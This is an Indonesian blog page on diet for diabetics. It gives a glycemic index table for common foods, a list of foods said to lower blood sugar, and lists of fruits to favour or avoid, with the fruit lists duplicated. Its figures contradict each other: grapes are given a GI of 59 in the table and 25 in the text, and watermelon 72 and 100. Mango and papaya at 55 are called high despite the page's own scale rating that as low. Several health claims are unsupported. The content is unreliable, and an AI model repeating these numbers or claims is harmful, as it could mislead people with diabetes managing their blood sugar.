Semakin banyak JUMLAH karbohidrat yang dikonsumsi (dengan kata lain: semakin banyak Anda mengkonsumsi suatu jenis makanan), maka kadar glukosa darah akan semakin meningkat.

Sedangkan JENIS karbohidrat suatu makanan dapat diketahui berdasarkan indeks glikemik makanan tersebut. Makanan dengan indeks glikemik yang tinggi akan meningkatkan gula darah secara cepat. Jadi, bagi penderita diabetes disarankan untuk memilih makanan dengan indeks glikemik yang rendah.



Di bawah ini adalah tabel indeks glikemik yang dapat Anda gunakan untuk mengatur pola makan diet. Selain indeks glikemik, ditampilkan juga takaran saji dan beban glikemik yang dihasilkan jika suatu makanan dikonsumsi sebesar takaran sajinya:


Jenis makanan
Nama
Indeks Glikemik
Takaran Saji
(gram)
Beban Glikemik
BAKERY
Tortila gandum
30
50
8
Sponge cake
46
63
17
Cake pisang dengan gula
47
60
14
Tortila jagung
52
50
12
Cake pisang tanpa gula
55
60
12
Roti hamburger
61
30
9
Pita bread
68
30
10
Roti putih
71
30
10
Roti gandum utuh (whole wheat)
71
30
9
Bagel putih
72
70
25
Baguette putih
95
30
15
SEREAL
Nasi merah
50
150
14
Oatmeal
55
250
13
Jagung rebus
60
150
20
Muesli
66
30
16
Oatmeal instan
83
250
30
Nasi putih
89
150
43
Cornflakes™
93
30
23
MINUMAN
Jus apel tanpa pemanis
44
250 ml
30
Jus jeruk tanpa pemanis
50
250 ml
12
Soft drink
68
250 ml
23
Dairy Product
Susu skim
32
250 ml
4
Yoghurt rendah lemak dengan buah
33
200
11
Susu penuh lemak
41
250 ml
5
Es Krim
57
50
6
BUAH BUAHAN
Jeruk Bali
25
120
3
Pear
38
120
4
Apel
39
120
6
Jeruk
40
120
4
Peach kalengan
40
120
5
Peach
42
120
5
Pear kalengan
43
120
5
Anggur
59
120
11
Pisang
62
120
16
Kismis
64
60
28
Semangka
72
120
4
KACANG KACANGAN
Kacang tanah
7
50
0
Kacang kedelai
15
150
1
Kacang mede asin
27
50
3
Kacang merah
29
150
7
Kacang hitam
30
150
7
Kacang panggang
40
150
6
PASTA
Fettucini
32
180
15
Makaroni
47
180
23
Spaghetti direbus 20 menit
58
180
26
MAKANAN RINGAN
Keripik jagung asin
42
50
11
Keripik kentang
51
50
12
Berondong jagung tawar
55
20
6
Pretzel
83
30
16
SAYURAN
Wortel
35
80
2
Green peas
51
80
4
Talas
54
150
20
Ubi
70
150
22
Mashed potato instan
87
150
17
LAIN LAIN
Chicken nuggets dipanaskan di microwave
46
100
7
Madu
61
25
12




Sebagai catatan: jika indeks glikemik glukosa adalah 100, maka:
  • indeks glikemik rendah adalah ≤ 55
  • indeks glikemik sedang adalah 56 -69
  • indeks glikemik tinggi adalah ≥ 70





Bahan Makanan Penurun Kadar Gula Darah

 PENDERITA diabetes perlu berhati-hati dalam mengonsumsi makanan. Ini dilakukan agar kadar gula dalam tubuh tidak melonjak. Namun, ada beberapa bahan makanan yang ramah bagi kadar gula darah penderita diabetes.

Jumlah penderita diabetes terus meningkat di seluruh dunia. Sementara faktor keturunan memainkan peran di dalamnya. Faktor-faktor lain seperti kebiasaan makan dan gaya hidup juga sama pentingnya. Orang dengan gula darah tinggi harus ekstra hati-hati terhadap apa yang mereka makan. Beberapa makanan berikut dapat membantu kadar gula darah lebih rendah, demikian yang dilansir Magforwoman.

Havermut/oatmeal

Oatmeal memberikan semua nutrisi yang Anda butuhkan tanpa meningkatkan kadar gula darah Anda karena tinggi serat larut. Oatmeal juga bagus untuk membantu menurunkan berat badan.

Tomat

Penting untuk memasukkan tomat ke dalam daftar menu Anda karena mereka memberikan vitamin dan mineral penting, serta membantu untuk mempertahankan tingkat gula darah rendah dalam tubuh.

Bayam

Bayam adalah bahan makanan sehat dalam puncak daftar makanan. Ini adalah sumber yang kaya akan vitamin dan mineral seperti asam zat besi, magnesium, folat, dan askorbat. Selain itu, bayam juga mengandung serat dalam jumlah tinggi tetapi karbohidrat sangat rendah sehingga membantu Anda mencapai kadar gula darah yang rendah.

Bawang

Rempah ini baik dikonsumsi mentah atau dimasak. Bawang sangat membantu dalam menurunkan kadar gula darah karena mengandung senyawa yang membantu mengatur kadar gula darah dalam tubuh.

Brokoli

Penderita diabetes memang dikenal rentan terhadap penyakit lain, terutama penyakit jantung. Oleh karena itu, penting untuk menjaga jantung Anda tetap sehat. Brokoli dapat membantu Anda untuk menurunkan tekanan darah dalam tubuh








Buah yang Dianjurkan Untuk Penderita Diabetes

Berbagai jenis buah yang dianjurkan bagi penderita diabetes karena kandungan glukosa rendah atau indeks glikemik rendah di antaranya adalah :

    Apel
    Banyak survei yang telah dilakukan pada “diabetes dan buah” dimana apel diberikan prioritas untuk dipertimbangkan manfaatnya bagi penderita diabetes. Survei membuktikan bahwa apel merupakan buah yang sangat baik bagi penderita diabetes. Mereka telah menetapkan bahwa penderita diabetes mengalami penurunan glukosa darah cukup dalam waktu 24 jam setelah mengkonsumsi apel. Indeks glikemik yang terdapat dalam buah apel sebesar 38. Hal ini menunjukkan bahwa buah apel baik bagi penderita diabetes.
    Jeruk
    Jeruk memiliki indeks glikemik sebesar 44. Penderita diabetes sangat disarankan untuk memakan 1 buah jeruk setiap harinya. Jeruk mempunyai serat yang tinggi dan mengandung vitamin C berfungsi untuk mengontrol kadar gula darah. Jeruk menjadi camilan rendah lemak membantu mengurangi berat badan yang merupakan salah satu faktor resiko diabetes.
    Jambu
    Jambu adalah buah yang sangat baik bagi penderita diabetes. Seluruh tanaman jambu itu sendiri memiliki sifat obat melawan diabetes. Wow!
    Jambu Biji
    Jambu biji adalah buah termurah dan terbaik bagi penderita diabetes yang harus dimakan dengan kacang dan dikupas. Kandungan gula didalamnya sesuai dengan kebutuhan.
    Anggur
    Anggur memiliki indeks glikemik sebesar 25 dan merupakan buah yang direkomendasikan bagi penderita diabetes karena secara alami dapat menurunkan tingkat gula darah. Memakan buah anggur beserta kulit dan biji sangat lebih baik, karena manfaatnyanya menjadi dua kali lipat. Namun, jus anggur tidak disarankan untuk penderita diabetes.
    Pir
    Buah Pir merupakan salah buah yang digemari masyarakat karena rasanya yang segar dan bernutrisi. Buah pir ternyata memiliki serat yang lebih kaya dari apel ! Jika 1 buah apel mengandung 3 gram serat, pir mengandung 6 gram. Ini berarti 1 buah pir mengandung 20 persen asupan serat yang disarankan untuk dikonsumsi dalam sehari. Buah pir mengandung kadar indeks glikemik yang rendah dan hanya mengandung kalori sekitar 100 per buahnya sehingga baik bagi mereka yang memiliki penyakit diabetes dan hypoglycemics
    Buah berry
    Blueberry, strawberri, raspberry, blackberry, semua dikemas dengan antioksidan dan vitamin. Buah-buahan ini juga banyak mengandung serat dan memiliki indeks glikemik (GI) yang umumnya rendah sekitar 20-an.
    Buah Ceri
    Buah ceri mirip dengan buah berri dalam hal nilai antioksidan yang dimilikinya. Buah ini memiliki kadar gula alami sedikit lebih tinggi, tapi karbohidrat sangat rendah dan merupakan sumber serat penting. Indeks glikemik buah ceri sekitar 22.
    Buah Persik dan Buah Aprikot
    Dengan nilai gizi yang sama seperti apel dan pir, buah-buahan ini adalah cara cerdas untuk mendapatkan dosis yang baik dari vitamin C dan serat. Persik dan aprikot memiliki GI 30-an.










Buah yang Sebaiknya Dihindari Bagi Penderita Diabetes

Meski berbagai buah-buahan baik bagi penderita diabetes, sebagian buah-buahan justru berefek kurang baik bagi penderita diabetes. Apa saja itu? Mari kita baca satu per satu.

    Durian
    Sebenarnya Durian mengandung indeks glikemik yang rendah yaitu 49. Namun, durian merupakan salah satu buah yang mengandung kalori dan gas yang cukup tinggi sehingga tidak cocok untuk penderita diabetes.
    Buah Kurma
    Kurma kering mengandung kadar gula tertinggi dari buah apapun. Kurma memiliki skor glikemik 103, lebih tinggi dari glukosa murni yang memiliki glikemik 100. Bila Anda sedang diet, cobalah mengganti kurma dengan buah kering lain seperti aprikot kering atau kismis yang memiliki indeks glikemik 50-an.
    Buah Melon dan Buah Semangka
    Buah melon dan semangka memiliki kandungan gula buah yang sangat tinggi (GI melon 65 dan semangka 100).
    Buah Nanas
    Mungkin tidak mengherankan bila nanas memiliki skor gula darah yang tinggi karena rasanya yang manis. Indeks glikemik nanas adalah 66, yang dianggap pada level moderat (sedang).
    Buah Mangga dan Buah Pepaya
    Meskipun tidak manis seperti nanas, mangga dan pepaya memiliki kadar gula yang cukup tinggi yaitu indeks glikemik 55

Sebaiknya untuk penderita diabetes konsumsi buahnya harus tetap diatur, misalnya saat makan pagi 2 porsi, 1 porsi sebagai snack, 2 porsi saat makan siang, 2 porsi menjelang tidur.

Porsi buah yang dimaksudkan bergantung pada jenis buah. Buah ukuran kecil seperti anggur, strawberry, blueberry, 1 porsi sama dengan 6-8 buah. Ukuran sedang seperti apel, pir, 1 porsi sama dengan 1 buah.



Buah yang Dianjurkan Untuk Penderita Diabetes
Berbagai jenis buah yang dianjurkan bagi penderita diabetes karena kandungan glukosa rendah atau indeks glikemik rendah di antaranya adalah :
  1. Apel
    Banyak survei yang telah dilakukan pada “diabetes dan buah” dimana apel diberikan prioritas untuk dipertimbangkan manfaatnya bagi penderita diabetes. Survei membuktikan bahwa apel merupakan buah yang sangat baik bagi penderita diabetes. Mereka telah menetapkan bahwa penderita diabetes mengalami penurunan glukosa darah cukup dalam waktu 24 jam setelah mengkonsumsi apel. Indeks glikemik yang terdapat dalam buah apel sebesar 38. Hal ini menunjukkan bahwa buah apel baik bagi penderita diabetes.
  2. Jeruk
    Jeruk memiliki indeks glikemik sebesar 44. Penderita diabetes sangat disarankan untuk memakan 1 buah jeruk setiap harinya. Jeruk mempunyai serat yang tinggi dan mengandung vitamin C berfungsi untuk mengontrol kadar gula darah. Jeruk menjadi camilan rendah lemak membantu mengurangi berat badan yang merupakan salah satu faktor resiko diabetes.
  3. Jambu
    Jambu adalah buah yang sangat baik bagi penderita diabetes. Seluruh tanaman jambu itu sendiri memiliki sifat obat melawan diabetes. Wow!
  4. Jambu Biji
    Jambu biji adalah buah termurah dan terbaik bagi penderita diabetes yang harus dimakan dengan kacang dan dikupas. Kandungan gula didalamnya sesuai dengan kebutuhan.
  5. Anggur
    Anggur memiliki indeks glikemik sebesar 25 dan merupakan buah yang direkomendasikan bagi penderita diabetes karena secara alami dapat menurunkan tingkat gula darah. Memakan buah anggur beserta kulit dan biji sangat lebih baik, karena manfaatnyanya menjadi dua kali lipat. Namun, jus anggur tidak disarankan untuk penderita diabetes.
  6. Pir
    Buah Pir merupakan salah buah yang digemari masyarakat karena rasanya yang segar dan bernutrisi. Buah pir ternyata memiliki serat yang lebih kaya dari apel ! Jika 1 buah apel mengandung 3 gram serat, pir mengandung 6 gram. Ini berarti 1 buah pir mengandung 20 persen asupan serat yang disarankan untuk dikonsumsi dalam sehari. Buah pir mengandung kadar indeks glikemik yang rendah dan hanya mengandung kalori sekitar 100 per buahnya sehingga baik bagi mereka yang memiliki penyakit diabetes dan hypoglycemics
  7. Buah berry
    Blueberry, strawberri, raspberry, blackberry, semua dikemas dengan antioksidan dan vitamin. Buah-buahan ini juga banyak mengandung serat dan memiliki indeks glikemik (GI) yang umumnya rendah sekitar 20-an.
  8. Buah Ceri
    Buah ceri mirip dengan buah berri dalam hal nilai antioksidan yang dimilikinya. Buah ini memiliki kadar gula alami sedikit lebih tinggi, tapi karbohidrat sangat rendah dan merupakan sumber serat penting. Indeks glikemik buah ceri sekitar 22.
  9. Buah Persik dan Buah Aprikot
    Dengan nilai gizi yang sama seperti apel dan pir, buah-buahan ini adalah cara cerdas untuk mendapatkan dosis yang baik dari vitamin C dan serat. Persik dan aprikot memiliki GI 30-an.

Buah yang Sebaiknya Dihindari Bagi Penderita Diabetes
Meski berbagai buah-buahan baik bagi penderita diabetes, sebagian buah-buahan justru berefek kurang baik bagi penderita diabetes. Apa saja itu? Mari kita baca satu per satu.
  1. Durian
    Sebenarnya Durian mengandung indeks glikemik yang rendah yaitu 49. Namun, durian merupakan salah satu buah yang mengandung kalori dan gas yang cukup tinggi sehingga tidak cocok untuk penderita diabetes.
  2. Buah Kurma
    Kurma kering mengandung kadar gula tertinggi dari buah apapun. Kurma memiliki skor glikemik 103, lebih tinggi dari glukosa murni yang memiliki glikemik 100. Bila Anda sedang diet, cobalah mengganti kurma dengan buah kering lain seperti aprikot kering atau kismis yang memiliki indeks glikemik 50-an.
  3. Buah Melon dan Buah Semangka
    Buah melon dan semangka memiliki kandungan gula buah yang sangat tinggi (GI melon 65 dan semangka 100).
  4. Buah Nanas
    Mungkin tidak mengherankan bila nanas memiliki skor gula darah yang tinggi karena rasanya yang manis. Indeks glikemik nanas adalah 66, yang dianggap pada level moderat (sedang).
  5. Buah Mangga dan Buah Pepaya
    Meskipun tidak manis seperti nanas, mangga dan pepaya memiliki kadar gula yang cukup tinggi yaitu indeks glikemik 55
Sebaiknya untuk penderita diabetes konsumsi buahnya harus tetap diatur, misalnya saat makan pagi 2 porsi, 1 porsi sebagai snack, 2 porsi saat makan siang, 2 porsi menjelang tidur.
Porsi buah yang dimaksudkan bergantung pada jenis buah. Buah ukuran kecil seperti anggur, strawberry, blueberry, 1 porsi sama dengan 6-8 buah. Ukuran sedang seperti apel, pir, 1 porsi sama dengan 1 buah.
- See more at: http://www.resepbunda.biz/2012/09/27/buah-dianjurkan-dihindari-bagi-penderita-diabetes/#sthash.cdjoCvsJ.dpuf





Back To Top